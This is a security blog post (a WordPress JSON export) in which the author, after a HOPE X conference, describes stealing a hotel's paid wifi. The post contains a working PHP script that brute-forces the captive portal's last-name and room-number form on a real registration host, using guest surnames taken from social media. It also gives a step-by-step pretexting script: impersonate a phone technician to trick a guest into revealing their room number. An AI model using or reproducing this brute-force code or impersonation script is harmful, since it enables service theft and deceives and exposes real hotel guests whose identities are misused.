{"id":839,"date":"2014-07-25T19:30:39","date_gmt":"2014-07-25T19:30:39","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=839"},"modified":"2014-07-25T19:30:39","modified_gmt":"2014-07-25T19:30:39","slug":"hope-x-and-stuff","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2014\/07\/hope-x-and-stuff\/","title":{"rendered":"HOPE X and stuff"},"content":{"rendered":"<p>Salutations!<\/p>\n<p>HOPE X, my first HOPE went pretty well. I wanted to speak on an official capacity, however was rejected. I instead had to settle for an impromptu speech in one of the other rooms. I spoke on the basics of breaking apart malware and made the most of what little I had. Aside from that, the con was pretty cool. Awesome talks, awesome people, awesome town. Never been to NYC before then. I will definitely go again next time. <\/p>\n<p>Definitely looking forward to going to Defcon.<\/p>\n<p>When I travel, I can never seem to leave my act at home. Take the hotel wifi for example&#8230;<\/p>\n<p>I noticed hotel wifi available on the room floors, however they wanted 12 bucks a day for it. When you connected to the access point, you were presented with a form that asked for 2 key pieces of info &#8211; a last name and a room number. There was no captcha. This means I need only code something up to brute force the thing. I would only need to guess the room number. With 18 room floors numbered 1-100, that gives us a total of 1800 possible combinations. The last names I got from browsing twitter \/ facebook \/ foursquare from people telling the world where they were staying. <\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">#!\/usr\/bin\/php\r\n\r\n<span style=\"color: #557799\">&lt;?php<\/span>\r\n<span style=\"color: #996633\">$lastname<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;Graziano&quot;<\/span>; <span style=\"color: #888888\">\/\/ change me<\/span>\r\n<span style=\"color: #996633\">$target<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;www.registerforhsia.com&quot;<\/span>;\r\n<span style=\"color: #996633\">$timeout<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">30<\/span>;\r\n<span style=\"color: #996633\">$log<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;log.txt&quot;<\/span>;\r\n\r\n\t<span style=\"color: #008800; font-weight: bold\">for<\/span>(<span style=\"color: #996633\">$x<\/span><span style=\"color: #333333\">=<\/span><span style=\"color: #0000DD; font-weight: bold\">0<\/span>;<span style=\"color: #996633\">$x<\/span><span style=\"color: #333333\">&lt;<\/span><span style=\"color: #0000DD; font-weight: bold\">1800<\/span>;<span style=\"color: #996633\">$x<\/span><span style=\"color: #333333\">++<\/span>)\r\n        {\r\n\r\n\t<span style=\"color: #996633\">$fp<\/span>  <span style=\"color: #333333\">=<\/span> <span style=\"color: #007020\">fsockopen<\/span>(<span style=\"color: #996633\">$target<\/span>, <span style=\"color: #0000DD; font-weight: bold\">80<\/span>, <span style=\"color: #996633\">$errno<\/span>, <span style=\"color: #996633\">$errstr<\/span>, <span style=\"color: #996633\">$timeout<\/span>);\r\n\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (<span style=\"color: #333333\">!<\/span><span style=\"color: #996633\">$fp<\/span>) {\r\n\t    <span style=\"color: #008800; font-weight: bold\">echo<\/span> <span style=\"background-color: #fff0f0\">&quot;<\/span><span style=\"background-color: #eeeeee\">$errstr<\/span><span style=\"background-color: #fff0f0\"> (<\/span><span style=\"background-color: #eeeeee\">$errno<\/span><span style=\"background-color: #fff0f0\">)&lt;br \/&gt;<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n\t}\r\n\r\n\t<span style=\"color: #996633\">$out<\/span>  <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;POST \/Register\/LastNameAndRoomNumberUI=02823a&amp;NI=0050e802823a&amp;UIP=74.113.166.146&amp;MA=6817299F50AB HTTP\/1.1<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Host: www.registerforhsia.com<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;User-Agent: Mozilla\/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko\/20100101 Firefox\/26.0<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Accept: *\/*<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Accept-Language: en-US,en;q=0.5<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Accept-Encoding: gzip, deflate<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Content-Type: application\/x-www-form-urlencoded; charset=UTF-8<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;X-Requested-With: XMLHttpRequest<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Referer=https:\\\/\\\/www.registerforhsia.com\/Welcome?UI=02823a&amp;NI=0050e802823a&amp;UIP=74.113.166.146&amp;MA=6817299F50AB&amp;RN=Guest&amp;PORT=80&amp;ZONE=Guest&amp;RAD=yes&amp;CC=no&amp;PMS=no&amp;SIP=10.0.2.0&amp;OS=http%3A%2F%2Fgoogle.com%2F&amp;DEVICE=pc<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Content-Length: 80<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Connection: keep-alive<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Pragma: no-cache<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;Cache-Control: no-cache<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;POSTDATA: last_name=&quot;<\/span> <span style=\"color: #333333\">.<\/span> <span style=\"color: #996633\">$lastname<\/span> <span style=\"color: #333333\">.<\/span> <span style=\"background-color: #fff0f0\">&quot;&amp;room_number=&quot;<\/span> <span style=\"color: #333333\">.<\/span> <span style=\"color: #996633\">$x<\/span> <span style=\"color: #333333\">.<\/span><span style=\"background-color: #fff0f0\">&quot;&amp;rate_plan=1&amp;toc=1<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n\r\n  \t<span style=\"color: #996633\">$out<\/span> <span style=\"color: #333333\">.=<\/span> <span style=\"background-color: #fff0f0\">&quot;<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n\r\n\t<span style=\"color: #008800; font-weight: bold\">echo<\/span> <span style=\"background-color: #fff0f0\">&quot;Attempt # &quot;<\/span> <span style=\"color: #333333\">.<\/span> <span style=\"color: #996633\">$x<\/span> <span style=\"color: #333333\">.<\/span> <span style=\"background-color: #fff0f0\">&quot;<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n        <span style=\"color: #008800; font-weight: bold\">echo<\/span>  <span style=\"background-color: #fff0f0\">&quot;saving contents to &quot;<\/span> <span style=\"color: #333333\">.<\/span> <span style=\"color: #996633\">$log<\/span> <span style=\"color: #333333\">.<\/span> <span style=\"background-color: #fff0f0\">&quot;<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n\r\n        <span style=\"color: #007020\">fwrite<\/span>(<span style=\"color: #996633\">$fp<\/span>, <span style=\"color: #996633\">$out<\/span>);\r\n        <span style=\"color: #008800; font-weight: bold\">while<\/span> (<span style=\"color: #996633\">$fp<\/span> <span style=\"color: #333333\">!=<\/span> <span style=\"color: #007020\">feof<\/span>(<span style=\"color: #996633\">$fp<\/span>)) {\r\n\t<span style=\"color: #996633\">$saveme<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #007020\">fgets<\/span>(<span style=\"color: #996633\">$fp<\/span>,<span style=\"color: #0000DD; font-weight: bold\">2048<\/span>);\r\n\t<span style=\"color: #007020\">file_put_contents<\/span>(<span style=\"background-color: #fff0f0\">&quot;log.txt&quot;<\/span>,<span style=\"color: #996633\">$saveme<\/span>,FILE_APPEND);\r\n         }\r\n\t\t<span style=\"color: #008800; font-weight: bold\">echo<\/span> <span style=\"background-color: #fff0f0\">&quot;=========================================<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\r\\n<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n\r\n       <span style=\"color: #007020\">fclose<\/span>(<span style=\"color: #996633\">$fp<\/span>);\r\n\t}\r\n\r\n<span style=\"color: #557799\">?&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>This works fine and all, but there&#8217;s a MUCH easier approach to this &#8211; social engineering yo.<br \/>\nHere&#8217;s what you do.<br \/>\n1) Find someone on social media who&#8217;s telling the world they&#8217;re staying at the hotel Pennsylvania.<br \/>\n2) Call the front desk and ask to speak to that individual. They usually blind xfer you over.<br \/>\n3) If they answer, claim you&#8217;re a technician and are testing the phone system. Ask them something like &#8220;I&#8217;m the tech fixing the system, is this room 101?&#8221;. They will correct you on the room number thus giving you the keys, figuratively speaking.<\/p>\n<p>Assuming they don&#8217;t modify the form, the script will continue to work. The SE approach however will always work because people are dumb. <\/p>\n<p>I&#8217;m in the process of finishing my p2 of Syrian malware, so stay tuned.<\/p>\n<p>Happy hacking!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/wjdkRol.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/wjdkRol.png\" alt=\"wjdkRol\" width=\"642\" height=\"350\" class=\"alignnone size-full wp-image-842\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/wjdkRol.png 642w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/wjdkRol-300x163.png 300w\" sizes=\"(max-width: 642px) 100vw, 642px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Salutations! HOPE X, my first HOPE went pretty well. I wanted to speak on an official capacity, however was rejected. I instead had to settle for an impromptu speech in one of the other rooms. I spoke on the basics of breaking apart malware and made the most of what little I had. Aside from [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/839"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=839"}],"version-history":[{"count":2,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/839\/revisions"}],"predecessor-version":[{"id":843,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/839\/revisions\/843"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=839"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=839"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}